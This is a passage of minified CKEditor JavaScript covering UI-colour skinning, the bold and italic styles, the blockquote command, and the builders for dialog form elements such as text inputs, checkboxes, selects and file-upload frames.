CKEDITOR.template("background:#{to};background-image:-webkit-gradient(linear,lefttop,leftbottom,from({from}),to({to}));background-image:-moz-linear-gradient(top,{from},{to});background-image:-webkit-linear-gradient(top,{from},{to});background-image:-o-linear-gradient(top,{from},{to});background-image:-ms-linear-gradient(top,{from},{to});background-image:linear-gradient(top,{from},{to});filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='{from}',endColorstr='{to}');");return function(t,n){return e.output({from:t,to:n})}}(),n={editor:new CKEDITOR.template("{id}.cke_chrome [border-color:{defaultBorder};] {id} .cke_top [ {defaultGradient}border-bottom-color:{defaultBorder};] {id} .cke_bottom [{defaultGradient}border-top-color:{defaultBorder};] {id} .cke_resizer [border-right-color:{ckeResizer}] {id} .cke_dialog_title [{defaultGradient}border-bottom-color:{defaultBorder};] {id} .cke_dialog_footer [{defaultGradient}outline-color:{defaultBorder};border-top-color:{defaultBorder};] {id} .cke_dialog_tab [{lightGradient}border-color:{defaultBorder};] {id} .cke_dialog_tab:hover [{mediumGradient}] {id} .cke_dialog_contents [border-top-color:{defaultBorder};] {id} .cke_dialog_tab_selected, {id} .cke_dialog_tab_selected:hover [background:{dialogTabSelected};border-bottom-color:{dialogTabSelectedBorder};] {id} .cke_dialog_body [background:{dialogBody};border-color:{defaultBorder};] {id} .cke_toolgroup [{lightGradient}border-color:{defaultBorder};] {id} a.cke_button_off:hover, {id} a.cke_button_off:focus, {id} a.cke_button_off:active [{mediumGradient}] {id} .cke_button_on [{ckeButtonOn}] {id} .cke_toolbar_separator [background-color: {ckeToolbarSeparator};] {id} .cke_combo_button [border-color:{defaultBorder};{lightGradient}] {id} a.cke_combo_button:hover, {id} a.cke_combo_button:focus, {id} .cke_combo_on a.cke_combo_button [border-color:{defaultBorder};{mediumGradient}] {id} .cke_path_item [color:{elementsPathColor};] {id} a.cke_path_item:hover, {id} a.cke_path_item:focus, {id} a.cke_path_item:active [background-color:{elementsPathBg};] {id}.cke_panel [border-color:{defaultBorder};] "),panel:new CKEDITOR.template(".cke_panel_grouptitle [{lightGradient}border-color:{defaultBorder};] .cke_menubutton_icon [background-color:{menubuttonIcon};] .cke_menubutton:hover .cke_menubutton_icon, .cke_menubutton:focus .cke_menubutton_icon, .cke_menubutton:active .cke_menubutton_icon [background-color:{menubuttonIconHover};] .cke_menuseparator [background-color:{menubuttonIcon};] a:hover.cke_colorbox, a:focus.cke_colorbox, a:active.cke_colorbox [border-color:{defaultBorder};] a:hover.cke_colorauto, a:hover.cke_colormore, a:focus.cke_colorauto, a:focus.cke_colormore, a:active.cke_colorauto, a:active.cke_colormore [background-color:{ckeColorauto};border-color:{defaultBorder};] ")};return function(i,o){var r=i.uiColor;return r={id:"."+i.id,defaultBorder:e(r,-.1),defaultGradient:t(e(r,.9),r),lightGradient:t(e(r,1),e(r,.7)),mediumGradient:t(e(r,.8),e(r,.5)),ckeButtonOn:t(e(r,.6),e(r,.7)),ckeResizer:e(r,-.4),ckeToolbarSeparator:e(r,.5),ckeColorauto:e(r,.8),dialogBody:e(r,.7),dialogTabSelected:t("#FFFFFF","#FFFFFF"),dialogTabSelectedBorder:"#FFF",elementsPathColor:e(r,-.6),elementsPathBg:r,menubuttonIcon:e(r,.5),menubuttonIconHover:e(r,.3)},n[o].output(r).replace(/\[/g,"{").replace(/\]/g,"}")}}(),CKEDITOR.plugins.add("basicstyles",{init:function(e){var t=0,n=function(n,o,r,a){if(a){a=new CKEDITOR.style(a);var s=i[r];s.unshift(a),e.attachStyleStateChange(a,(function(t){!e.readOnly&&e.getCommand(r).setState(t)})),e.addCommand(r,new CKEDITOR.styleCommand(a,{contentForms:s})),e.ui.addButton&&e.ui.addButton(n,{label:o,command:r,toolbar:"basicstyles,"+(t+=10)})}},i={bold:["strong","b",["span",function(e){return"bold"==(e=e.styles["font-weight"])||700<=+e}]],italic:["em","i",["span",function(e){return"italic"==e.styles["font-style"]}]],underline:["u",["span",function(e){return"underline"==e.styles["text-decoration"]}]],strike:["s","strike",["span",function(e){return"line-through"==e.styles["text-decoration"]}]],subscript:["sub"],superscript:["sup"]},o=e.config,r=e.lang.basicstyles;n("Bold",r.bold,"bold",o.coreStyles_bold),n("Italic",r.italic,"italic",o.coreStyles_italic),n("Underline",r.underline,"underline",o.coreStyles_underline),n("Strike",r.strike,"strike",o.coreStyles_strike),n("Subscript",r.subscript,"subscript",o.coreStyles_subscript),n("Superscript",r.superscript,"superscript",o.coreStyles_superscript),e.setKeystroke([[CKEDITOR.CTRL+66,"bold"],[CKEDITOR.CTRL+73,"italic"],[CKEDITOR.CTRL+85,"underline"]])}}),CKEDITOR.config.coreStyles_bold={element:"strong",overrides:"b"},CKEDITOR.config.coreStyles_italic={element:"em",overrides:"i"},CKEDITOR.config.coreStyles_underline={element:"u"},CKEDITOR.config.coreStyles_strike={element:"s",overrides:"strike"},CKEDITOR.config.coreStyles_subscript={element:"sub"},CKEDITOR.config.coreStyles_superscript={element:"sup"},o={exec:function(e){var t=e.getCommand("blockquote").state,n=e.getSelection(),i=n&&n.getRanges()[0];if(i){var o=n.createBookmarks();if(CKEDITOR.env.ie){var r,a=o[0].startNode,s=o[0].endNode;if(a&&"blockquote"==a.getParent().getName())for(r=a;r=r.getNext();)if(r.type==CKEDITOR.NODE_ELEMENT&&r.isBlockBoundary()){a.move(r,!0);break}if(s&&"blockquote"==s.getParent().getName())for(r=s;r=r.getPrevious();)if(r.type==CKEDITOR.NODE_ELEMENT&&r.isBlockBoundary()){s.move(r);break}}if((l=i.createIterator()).enlargeBr=e.config.enterMode!=CKEDITOR.ENTER_BR,t==CKEDITOR.TRISTATE_OFF){for(a=[];t=l.getNextParagraph();)a.push(t);for(1>a.length&&(t=e.document.createElement(e.config.enterMode==CKEDITOR.ENTER_P?"p":"div"),s=o.shift(),i.insertNode(t),t.append(new CKEDITOR.dom.text("\ufeff",e.document)),i.moveToBookmark(s),i.selectNodeContents(t),i.collapse(!0),s=i.createBookmark(),a.push(t),o.unshift(s)),r=a[0].getParent(),i=[],s=0;s<a.length;s++)t=a[s],r=r.getCommonAncestor(t.getParent());for(t={table:1,tbody:1,tr:1,ol:1,ul:1};t[r.getName()];)r=r.getParent();for(s=null;0<a.length;){for(t=a.shift();!t.getParent().equals(r);)t=t.getParent();t.equals(s)||i.push(t),s=t}for(;0<i.length;)if("blockquote"==(t=i.shift()).getName()){for(s=new CKEDITOR.dom.documentFragment(e.document);t.getFirst();)s.append(t.getFirst().remove()),a.push(s.getLast());s.replace(t)}else a.push(t);for((i=e.document.createElement("blockquote")).insertBefore(a[0]);0<a.length;)t=a.shift(),i.append(t)}else if(t==CKEDITOR.TRISTATE_ON){for(s=[],r={};t=l.getNextParagraph();){for(a=i=null;t.getParent();){if("blockquote"==t.getParent().getName()){i=t.getParent(),a=t;break}t=t.getParent()}i&&a&&!a.getCustomData("blockquote_moveout")&&(s.push(a),CKEDITOR.dom.element.setMarker(r,a,"blockquote_moveout",!0))}for(CKEDITOR.dom.element.clearAllMarkers(r),t=[],a=[],r={};0<s.length;)i=(l=s.shift()).getParent(),l.getPrevious()?l.getNext()?(l.breakParent(l.getParent()),a.push(l.getNext())):l.remove().insertAfter(i):l.remove().insertBefore(i),i.getCustomData("blockquote_processed")||(a.push(i),CKEDITOR.dom.element.setMarker(r,i,"blockquote_processed",!0)),t.push(l);for(CKEDITOR.dom.element.clearAllMarkers(r),s=a.length-1;0<=s;s--){e:{for(var l=0,c=(r=i=a[s]).getChildCount(),d=void 0;l<c&&(d=r.getChild(l));l++)if(d.type==CKEDITOR.NODE_ELEMENT&&d.isBlockBoundary()){r=!1;break e}r=!0}r&&i.remove()}if(e.config.enterMode==CKEDITOR.ENTER_BR)for(i=!0;t.length;)if("div"==(l=t.shift()).getName()){for(s=new CKEDITOR.dom.documentFragment(e.document),i&&l.getPrevious()&&(l.getPrevious().type!=CKEDITOR.NODE_ELEMENT||!l.getPrevious().isBlockBoundary())&&s.append(e.document.createElement("br")),i=l.getNext()&&!(l.getNext().type==CKEDITOR.NODE_ELEMENT&&l.getNext().isBlockBoundary());l.getFirst();)l.getFirst().remove().appendTo(s);i&&s.append(e.document.createElement("br")),s.replace(l),i=!1}}n.selectBookmarks(o),e.focus()}},refresh:function(e,t){this.setState(e.elementPath(t.block||t.blockLimit).contains("blockquote",1)?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF)},context:"blockquote",allowedContent:"blockquote",requiredContent:"blockquote"},CKEDITOR.plugins.add("blockquote",{init:function(e){e.blockless||(e.addCommand("blockquote",o),e.ui.addButton&&e.ui.addButton("Blockquote",{label:e.lang.blockquote.toolbar,command:"blockquote",toolbar:"blocks,10"}))}}),CKEDITOR.plugins.add("dialogui",{onLoad:function(){var e=function(e){this._||(this._={}),this._.default=this._.initValue=e.default||"",this._.required=e.required||!1;for(var t=[this._],n=1;n<arguments.length;n++)t.push(arguments[n]);return t.push(!0),CKEDITOR.tools.extend.apply(CKEDITOR.tools,t),this._},t={build:function(e,t,n){return new CKEDITOR.ui.dialog.textInput(e,t,n)}},n={build:function(e,t,n){return new CKEDITOR.ui.dialog[t.type](e,t,n)}},i={isChanged:function(){return this.getValue()!=this.getInitValue()},reset:function(e){this.setValue(this.getInitValue(),e)},setInitValue:function(){this._.initValue=this.getValue()},resetInitValue:function(){this._.initValue=this._.default},getInitValue:function(){return this._.initValue}},o=CKEDITOR.tools.extend({},CKEDITOR.ui.dialog.uiElement.prototype.eventProcessors,{onChange:function(e,t){this._.domOnChangeRegistered||(e.on("load",(function(){this.getInputElement().on("change",(function(){e.parts.dialog.isVisible()&&this.fire("change",{value:this.getValue()})}),this)}),this),this._.domOnChangeRegistered=!0),this.on("change",t)}},!0),r=/^on([A-Z]\w+)/,a=function(e){for(var t in e)(r.test(t)||"title"==t||"type"==t)&&delete e[t];return e};CKEDITOR.tools.extend(CKEDITOR.ui.dialog,{labeledElement:function(t,n,i,o){if(!(4>arguments.length)){var r=e.call(this,n);r.labelId=CKEDITOR.tools.getNextId()+"_label",this._.children=[],CKEDITOR.ui.dialog.uiElement.call(this,t,n,i,"div",null,{role:"presentation"},(function(){var e=[],i=n.required?" cke_required":"";return"horizontal"!=n.labelLayout?e.push('<label class="cke_dialog_ui_labeled_label'+i+'" ',' id="'+r.labelId+'"',r.inputId?' for="'+r.inputId+'"':"",(n.labelStyle?' style="'+n.labelStyle+'"':"")+">",n.label,"</label>",'<div class="cke_dialog_ui_labeled_content"',n.controlStyle?' style="'+n.controlStyle+'"':"",' role="radiogroup" aria-labelledby="'+r.labelId+'">',o.call(this,t,n),"</div>"):(i={type:"hbox",widths:n.widths,padding:0,children:[{type:"html",html:'<label class="cke_dialog_ui_labeled_label'+i+'" id="'+r.labelId+'" for="'+r.inputId+'"'+(n.labelStyle?' style="'+n.labelStyle+'"':"")+">"+CKEDITOR.tools.htmlEncode(n.label)+"</span>"},{type:"html",html:'<span class="cke_dialog_ui_labeled_content"'+(n.controlStyle?' style="'+n.controlStyle+'"':"")+">"+o.call(this,t,n)+"</span>"}]},CKEDITOR.dialog._.uiElementBuilders.hbox.build(t,i,e)),e.join("")}))}},textInput:function(t,n,i){if(!(3>arguments.length)){e.call(this,n);var o=this._.inputId=CKEDITOR.tools.getNextId()+"_textInput",r={class:"cke_dialog_ui_input_"+n.type,id:o,type:n.type};n.validate&&(this.validate=n.validate),n.maxLength&&(r.maxlength=n.maxLength),n.size&&(r.size=n.size),n.inputStyle&&(r.style=n.inputStyle);var a=this,s=!1;t.on("load",(function(){a.getInputElement().on("keydown",(function(e){13==e.data.getKeystroke()&&(s=!0)})),a.getInputElement().on("keyup",(function(e){13==e.data.getKeystroke()&&s&&(t.getButton("ok")&&setTimeout((function(){t.getButton("ok").click()}),0),s=!1)}),null,null,1e3)})),CKEDITOR.ui.dialog.labeledElement.call(this,t,n,i,(function(){var e=['<div class="cke_dialog_ui_input_',n.type,'" role="presentation"'];for(var t in n.width&&e.push('style="width:'+n.width+'" '),e.push("><input "),r["aria-labelledby"]=this._.labelId,this._.required&&(r["aria-required"]=this._.required),r)e.push(t+'="'+r[t]+'" ');return e.push(" /></div>"),e.join("")}))}},textarea:function(t,n,i){if(!(3>arguments.length)){e.call(this,n);var o=this,r=this._.inputId=CKEDITOR.tools.getNextId()+"_textarea",a={};n.validate&&(this.validate=n.validate),a.rows=n.rows||5,a.cols=n.cols||20,a.class="cke_dialog_ui_input_textarea "+(n.class||""),void 0!==n.inputStyle&&(a.style=n.inputStyle),n.dir&&(a.dir=n.dir),CKEDITOR.ui.dialog.labeledElement.call(this,t,n,i,(function(){a["aria-labelledby"]=this._.labelId,this._.required&&(a["aria-required"]=this._.required);var e,t=['<div class="cke_dialog_ui_input_textarea" role="presentation"><textarea id="',r,'" '];for(e in a)t.push(e+'="'+CKEDITOR.tools.htmlEncode(a[e])+'" ');return t.push(">",CKEDITOR.tools.htmlEncode(o._.default),"</textarea></div>"),t.join("")}))}},checkbox:function(t,n,i){if(!(3>arguments.length)){var o=e.call(this,n,{default:!!n.default});n.validate&&(this.validate=n.validate),CKEDITOR.ui.dialog.uiElement.call(this,t,n,i,"span",null,null,(function(){var e=CKEDITOR.tools.extend({},n,{id:n.id?n.id+"_checkbox":CKEDITOR.tools.getNextId()+"_checkbox"},!0),i=[],r=CKEDITOR.tools.getNextId()+"_label",s={class:"cke_dialog_ui_checkbox_input",type:"checkbox","aria-labelledby":r};return a(e),n.default&&(s.checked="checked"),void 0!==e.inputStyle&&(e.style=e.inputStyle),o.checkbox=new CKEDITOR.ui.dialog.uiElement(t,e,i,"input",null,s),i.push(' <label id="',r,'" for="',s.id,'"'+(n.labelStyle?' style="'+n.labelStyle+'"':"")+">",CKEDITOR.tools.htmlEncode(n.label),"</label>"),i.join("")}))}},radio:function(t,n,i){if(!(3>arguments.length)){e.call(this,n),this._.default||(this._.default=this._.initValue=n.items[0][1]),n.validate&&(this.validate=n.valdiate);var o=[],r=this;CKEDITOR.ui.dialog.labeledElement.call(this,t,n,i,(function(){for(var e=[],i=[],s=(n.id?n.id:CKEDITOR.tools.getNextId())+"_radio",l=0;l<n.items.length;l++){var c=n.items[l],d=void 0!==c[2]?c[2]:c[0],u=void 0!==c[1]?c[1]:c[0],h=(m=CKEDITOR.tools.getNextId()+"_radio_input")+"_label",m=CKEDITOR.tools.extend({},n,{id:m,title:null,type:null},!0),f=(d=CKEDITOR.tools.extend({},m,{title:d},!0),{type:"radio",class:"cke_dialog_ui_radio_input",name:s,value:u,"aria-labelledby":h}),E=[];r._.default==u&&(f.checked="checked"),a(m),a(d),void 0!==m.inputStyle&&(m.style=m.inputStyle),m.keyboardFocusable=!0,o.push(new CKEDITOR.ui.dialog.uiElement(t,m,E,"input",null,f)),E.push(" "),new CKEDITOR.ui.dialog.uiElement(t,d,E,"label",null,{id:h,for:f.id},c[0]),e.push(E.join(""))}return new CKEDITOR.ui.dialog.hbox(t,o,e,i),i.join("")})),this._.children=o}},button:function(t,n,i){if(arguments.length){"function"==typeof n&&(n=n(t.getParentEditor())),e.call(this,n,{disabled:n.disabled||!1}),CKEDITOR.event.implementOn(this);var o=this;t.on("load",(function(){var e=this.getElement();e.on("click",(function(e){o.click(),e.data.preventDefault()})),e.on("keydown",(function(e){e.data.getKeystroke()in{32:1}&&(o.click(),e.data.preventDefault())})),e.unselectable()}),this);var r=CKEDITOR.tools.extend({},n);delete r.style;var a=CKEDITOR.tools.getNextId()+"_label";CKEDITOR.ui.dialog.uiElement.call(this,t,r,i,"a",null,{style:n.style,href:"javascript:void(0)",title:n.label,hidefocus:"true",class:n.class,role:"button","aria-labelledby":a},'<span id="'+a+'" class="cke_dialog_ui_button">'+CKEDITOR.tools.htmlEncode(n.label)+"</span>")}},select:function(t,n,i){if(!(3>arguments.length)){var o=e.call(this,n);n.validate&&(this.validate=n.validate),o.inputId=CKEDITOR.tools.getNextId()+"_select",CKEDITOR.ui.dialog.labeledElement.call(this,t,n,i,(function(){var e=CKEDITOR.tools.extend({},n,{id:n.id?n.id+"_select":CKEDITOR.tools.getNextId()+"_select"},!0),i=[],r=[],s={id:o.inputId,class:"cke_dialog_ui_input_select","aria-labelledby":this._.labelId};i.push('<div class="cke_dialog_ui_input_',n.type,'" role="presentation"'),n.width&&i.push('style="width:'+n.width+'" '),i.push(">"),null!=n.size&&(s.size=n.size),null!=n.multiple&&(s.multiple=n.multiple),a(e);for(var l,c=0;c<n.items.length&&(l=n.items[c]);c++)r.push('<option value="',CKEDITOR.tools.htmlEncode(void 0!==l[1]?l[1]:l[0]).replace(/"/g,"""),'" /> ',CKEDITOR.tools.htmlEncode(l[0]));return void 0!==e.inputStyle&&(e.style=e.inputStyle),o.select=new CKEDITOR.ui.dialog.uiElement(t,e,i,"select",null,s,r.join("")),i.push("</div>"),i.join("")}))}},file:function(t,n,i){if(!(3>arguments.length)){void 0===n.default&&(n.default="");var o=CKEDITOR.tools.extend(e.call(this,n),{definition:n,buttons:[]});n.validate&&(this.validate=n.validate),t.on("load",(function(){CKEDITOR.document.getById(o.frameId).getParent().addClass("cke_dialog_ui_input_file")})),CKEDITOR.ui.dialog.labeledElement.call(this,t,n,i,(function(){o.frameId=CKEDITOR.tools.getNextId()+"_fileInput";var e=['<iframe frameborder="0" allowtransparency="0" class="cke_dialog_ui_input_file" role="presentation" id="',o.frameId,'" title="',n.label,'" src="javascript:void('];return e.push(CKEDITOR.env.ie?"(function(){"+encodeURIComponent("document.open();("+CKEDITOR.tools.fixDomain+")();document.close();")+"})()":"0"),e.push(')"></iframe>'),e.join("")}))}},fileButton:function(t,n,i){if(!(3>arguments.length)){e.call(this,n);var o=this;n.validate&&(this.validate=n.validate);var r=CKEDITOR.tools.extend({},n),a=r.onClick;r.className=(r.className?r.className+" ":"")+"cke_dialog_ui_button",r.onClick=function(e){var i=n.for;a&&!1===a.call(this,e)||(t.getContentElement(i[0],i[1]).submit(),this.disable())},t.on("load",(function(){t.getContentElement(n.for[0],n.for[1])._.buttons.push(o)})),CKEDITOR.ui.dialog.button.call(this,t,r,i)}},html:function(){var e=/^\s*<[\w:]+\s+([^>]*)?>/,t=/^(\s*<[\w:]+(?:\s+[^>]*)?)((?:.|\r|\n)+)$/,n=/\/$/;return function(i,o,r){if(!(3>arguments.length)){var a=[],s=o.html;"<"!=s.charAt(0)&&(s="<span>"+s+"</span>");var l=o.focus;if(l){var c=this.focus;this.focus=function(){("function"==typeof l?l:c).call(this),this.fire("focus")},o.isFocusable&&(this.isFocusable=this.isFocusable),this.keyboardFocusable=!0}CKEDITOR.ui.dialog.uiElement.call(this,i,o,a,"span",null,null,""),a=a.join("").match(e),s=s.match(t)||["","",""],n.test(s[1])&&(s[1]=s[1].slice(0,-1),s[2]="/"+s[2]),r.push([s[1]," ",a[1]||"",s[2]].join(""))}}}(),fieldset:function(e,t,n,i,o){var r=o.label;this._={children:t},CKEDITOR.ui.dialog.uiElement.call(this,e,o,i,"fieldset",null,null,(function(){var e=[];r&&e.push("<legend"+(o.labelStyle?' style="'+o.labelStyle+'"':"")+">"+r+"</legend>");for(var t=0;t<n.length;t++)e.push(n[t]);return e.join("")}))}},!0),CKEDITOR.ui.dialog.html.prototype=new CKEDITOR.ui.dialog.uiElement,CKEDITOR.ui.dialog.labeledElement.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{setLabel:function(e){var t=CKEDITOR.document.getById(this._.labelId);return 1>t.getChildCount()?new CKEDITOR.dom.text(e,CKEDITOR.document).appendTo(t):t.getChild(0).$.nodeValue=e,this},getLabel:function(){var e=CKEDITOR.document.getById(this._.labelId);return!e||1>e.getChildCount()?"":e.getChild(0).getText()},eventProcessors:o},!0),CKEDITOR.ui.dialog.button.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{click:function(){return!this._.disabled&&this.fire("click",{dialog:this._.dialog})},enable:function(){this._.disabled=!1;var e=this.getElement();e&&e.removeClass("cke_disabled")},disable:function(){this._.disabled=!0,this.getElement().addClass("cke_disabled")},isVisible:function(){return this.getElement().getFirst().isVisible()},isEnabled:function(){return!this._.disabled},eventProcessors:CKEDITOR.tools.extend({},CKEDITOR.ui.dialog.uiElement.prototype.eventProcessors,{onClick:function(e,t){this.on("click",(function(){t.apply(this,arguments)}))}},!0),accessKeyUp:function(){this.click()},accessKeyDown:function(){this.focus()},keyboardFocusable:!0},!0),CKEDITOR.ui.dialog.textInput.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.labeledElement,{getInputElement:function(){return CKEDITOR.document.getById(this._.inputId)},focus:function(){var e=this.selectParentTab();setTimeout((function(){var t=e.getInputElement();t&&t.$.focus()}),0)},select:function(){var e=this.selectParentTab();setTimeout((function(){var t=e.getInputElement();t&&(t.$.focus(),t.$.select())}),0)},accessKeyUp:function(){this.select()},setValue:function(e){return!e&&(e=""),CKEDITOR.ui.dialog.uiElement.prototype.setValue.apply(this,arguments)},keyboardFocusable:!0},i,!0),CKEDITOR.ui.dialog.textarea.prototype=new CKEDITOR.ui.dialog.textInput,CKEDITOR.ui.dialog.select.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.labeledElement,{getInputElement:function(){return this._.select.getElement()},add:function(e,t,n){var i=new CKEDITOR.dom.element("option",this.getDialog().getParentEditor().document),o=this.getInputElement().$;return i.$.text=e,i.$.value=null==t?e:t,null==n?CKEDITOR.env.ie?o.add(i.$):o.add(i.$,null):o.add(i.$,n),this},remove:function(e){return this.getInputElement().$.remove(e),this},clear:function(){for(var e=this.getInputElement().$;0<e.length;)e.remove(0);return this},keyboardFocusable:!0},i,!0),CKEDITOR.ui.dialog.checkbox.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{getInputElement:function(){return this._.checkbox.getElement()},setValue:function(e,t){this.getInputElement().$.checked=e,!t&&this.fire("change",{value:e})},getValue:function(){return this.getInputElement().$.checked},accessKeyUp:function(){this.setValue(!this.getValue())},eventProcessors:{onChange:function(e,t){return!CKEDITOR.env.ie||8<CKEDITOR.env.version?o.onChange.apply(this,arguments):(e.on("load",(function(){var e=this._.checkbox.getElement();e.on("propertychange",(function(t){"checked"==(t=t.data.$).propertyName&&this.fire("change",{value:e.$.checked})}),this)}),this),this.on("change",t),null)}},keyboardFocusable:!0},i,!0),CKEDITOR.ui.dialog.radio.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{setValue:function(e,t){for(var n,i=this._.children,o=0;o<i.length&&(n=i[o]);o++)n.getElement().$.checked=n.getValue()==e;!t&&this.fire("change",{value:e})},getValue:function(){for(var e=this._.children,t=0;t<e.length;t++)if(e[t].getElement().$.checked)return e[t].getValue();return null},accessKeyUp:function(){var e,t=this._.children;for(e=0;e<t.length;e++)if(t[e].getElement().$.checked)return void t[e].getElement().focus();t[0].getElement().focus()},eventProcessors:{onChange:function(e,t){return CKEDITOR.env.ie?(e.on("load",(function(){for(var e=this._.children,t=this,n=0;n<e.length;n++)e[n].getElement().on("propertychange",(function(e){"checked"==(e=e.data.$).propertyName&&this.$.checked&&t.fire("change",{value:this.getAttribute("value")})}))}),this),this.on("change",t),null):o.onChange.apply(this,arguments)}}},i,!0),CKEDITOR.ui.dialog.file.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.labeledElement,i,{getInputElement:function(){var e=CKEDITOR.document.getById(this._.frameId).getFrameDocument();return 0<e.$.forms.length?new CKEDITOR.dom.element(e.$.forms[0].elements[0]):this.getElement()},submit:function(){return this.getInputElement().getParent().$.submit(),this},getAction:function(){return this.getInputElement().getParent().$.action},registerEvents:function(e){var t,n,i=/^on([A-Z]\w+)/,o=function(e,t,n,i){e.on("formLoaded",(function(){e.getInputElement().on(n,i,e)}))};for(n in e)(t=n.match(i))&&(this.eventProcessors[n]?this.eventProcessors[n].call(this,this._.dialog,e[n]):o(this,this._.dialog,t[1].toLowerCase(),e[n]));return this},reset:function(){function e(){n.$.open();var e="";i.size&&(e=i.size-(CKEDITOR.env.ie?7:0));var c=t.frameId+"_input";for(n.$.write(['<html dir="'+s+'" lang="'+l+'"><head><title></title></head><body style="margin: 0; overflow: hidden; background: transparent;">','<form enctype="multipart/form-data" method="POST" dir="'+s+'" lang="'+l+'" action="',CKEDITOR.tools.htmlEncode(i.action),'"><label id="',t.labelId,'" for="',c,'" style="display:none">',CKEDITOR.tools.htmlEncode(i.label),'</label><input id="',c,'" aria-labelledby="',t.labelId,'" type="file" name="',CKEDITOR.tools.htmlEncode(i.id||"cke_upload"),'" size="',CKEDITOR.tools.htmlEncode(0<e?e:""),'" /></form></body></html><script>',CKEDITOR.env.ie?"("+CKEDITOR.tools.fixDomain+")();":"","window.parent.CKEDITOR.tools.callFunction("+r+");","window.onbeforeunload = function() {window.parent.CKEDITOR.tools.callFunction("+a+")}","<\/script>"].join("")),n.$.close(),e=0;e<o.length;e++)o[e].enable()}var t=this._,n=CKEDITOR.document.getById(t.frameId).getFrameDocument(),i=t.definition,o=t.buttons,r=this.formLoadedNumber,a=this.formUnloadNumber,s=t.dialog._.editor.lang.dir,l=t.dialog._.editor.langCode;r||(r=this.formLoadedNumber=CKEDITOR.tools.addFunction((function(){this.fire("formLoaded")}),this),a=this.formUnloadNumber=CKEDITOR.tools.addFunction((function(){this.getInputElement().clearCustomData()}),this),this.getDialog()._.editor.on("destroy",(function(){CKEDITOR.tools.removeFunction(r),CKEDITOR.tools.removeFunction(a)}))),CKEDITOR.env.gecko?setTimeout(e,500):e()},getValue:function(){return this.getInputElement().$.value||""},setInitValue:function(){this._.initValue=""},eventProcessors:{onChange:function(e,t){this._.domOnChangeRegistered||(this.on("formLoaded",(function(){this.getInputElement().on("change",(function(){this.fire("change",{value:this.getValue()})}),this)}),this),this._.domOnChangeRegistered=!0),this.on("change",t)}},keyboardFocusable:!0},!0),CKEDITOR.ui.dialog.fileButton.prototype=new CKEDITOR.ui.dialog.button,CKEDITOR.ui.dialog.fieldset.prototype=CKEDITOR.tools.clone(CKEDITOR.ui.dialog.hbox.prototype),CKEDITOR.dialog.addUIElement("text",t),CKEDITOR.dialog.addUIElement("password",t),CKEDITOR.dialog.addUIElement("textarea",n),CKEDITOR.dialog.addUIElement("checkbox",n),CKEDITOR.dialog.addUIElement("radio",n),CKEDITOR.dialog.addUIElement("button",n),CKEDITOR.dialog.addUIElement("select",n),CKEDITOR.dialog.addUIElement("file",n),CKEDITOR.dialog.addUIElement("fileButton",n),CKEDITOR.dialog.addUIElement("html",n),CKEDITOR.dialog.addUIElement("fieldset",{build:function(e,t,n){for(var i,o=t.children,r=[],a=[],s=0;s<o.length&&(i=o[s]);s++){var l=[];r.push(l),a.push(CKEDITOR.dialog._.uiElementBuilders[i.type].build(e,i,l))}return new CKEDITOR.ui.dialog[t.type](e,a,r,n,t)}})}}),CKEDITOR.DIALOG_RESIZE_NONE=0,CKEDITOR.DIALOG_RESIZE_WIDTH=1,CKEDITOR.DIALOG_RESIZE_HEIGHT=2,CKEDITOR.DIALOG_RESIZE_BOTH=3,function(){function e(){for(var e=this._.tabIdList.length,t=CKEDITOR.tools.indexOf(this._.tabIdList,this._.currentTabId)+e,n=t-1;n>t-e;n--)if(this._.tabs[this._.tabIdList[n%e]][0].$.offsetHeight)return this._.tabIdList[n%e];return null}function t(){for(var e=this._.tabIdList.length,t=CKEDITOR.tools.indexOf(this._.tabIdList,this._.currentTabId),n=t+1;n<t+e;n++)if(this._.tabs[this._.tabIdList[n%e]][0].$.offsetHeight)return this._.tabIdList[n%e];return null}function n(e,t){for(var n=e.$.getElementsByTagName("input"),i=0,o=n.length;i<o;i++){var r=new CKEDITOR.dom.element(n[i]);"text"==r.getAttribute("type").toLowerCase()&&(t?(r.setAttribute("value",r.getCustomData("fake_value")||""),r.removeCustomData("fake_value")):(r.setCustomData("fake_value",r.getAttribute("value")),r.setAttribute("value","")))}}function i(e,t){var n=this.getInputElement();n&&(e?n.removeAttribute("aria-invalid"):n.setAttribute("aria-invalid",!0)),e||(this.select?this.select():this.focus()),t&&alert(t),this.fire("validated",{valid:e,msg:t})}function o(){var e=this.getInputElement();e&&e.removeAttribute("aria-invalid")}function r(e,t,n){this.element=t,this.focusIndex=n,this.tabIndex=0,this.isFocusable=function(){return!t.getAttribute("disabled")&&t.isVisible()},this.focus=function(){e._.currentFocusIndex=this.focusIndex,this.element.focus()},t.on("keydown",(function(e){e.data.getKeystroke()in{32:1,13:1}&&this.fire("click")})),t.on("focus",(function(){this.fire("mouseover")})),t.on("blur",(function(){this.fire("mouseout")}))}function a(e,t){this._={dialog:e},CKEDITOR.tools.extend(this,t)}function s(e){e.data.preventDefault(1)}function l(e){var t=CKEDITOR.document.getWindow(),n=(r=e.config).dialog_backgroundCoverColor||"white",i=r.dialog_backgroundCoverOpacity,o=r.baseFloatZIndex,r=CKEDITOR.tools.genKey(n,i,o),a=C[r];a?a.show():(o=['<div tabIndex="-1" style="position: ',CKEDITOR.env.ie6Compat?"absolute":"fixed","; z-index: ",o,"; top: 0px; left: 0px; ",CKEDITOR.env.ie6Compat?"":"background-color: "+n,'" class="cke_dialog_background_cover">'],CKEDITOR.env.ie6Compat&&(n="<html><body style=\\'background-color:"+n+";\\'></body></html>",o.push('<iframe hidefocus="true" frameborder="0" id="cke_dialog_background_iframe" src="javascript:'),o.push("void((function(){"+encodeURIComponent("document.open();("+CKEDITOR.tools.fixDomain+")();document.write( '"+n+"' );document.close();")+"})())"),o.push('" style="position:absolute;left:0;top:0;width:100%;height: 100%;filter: 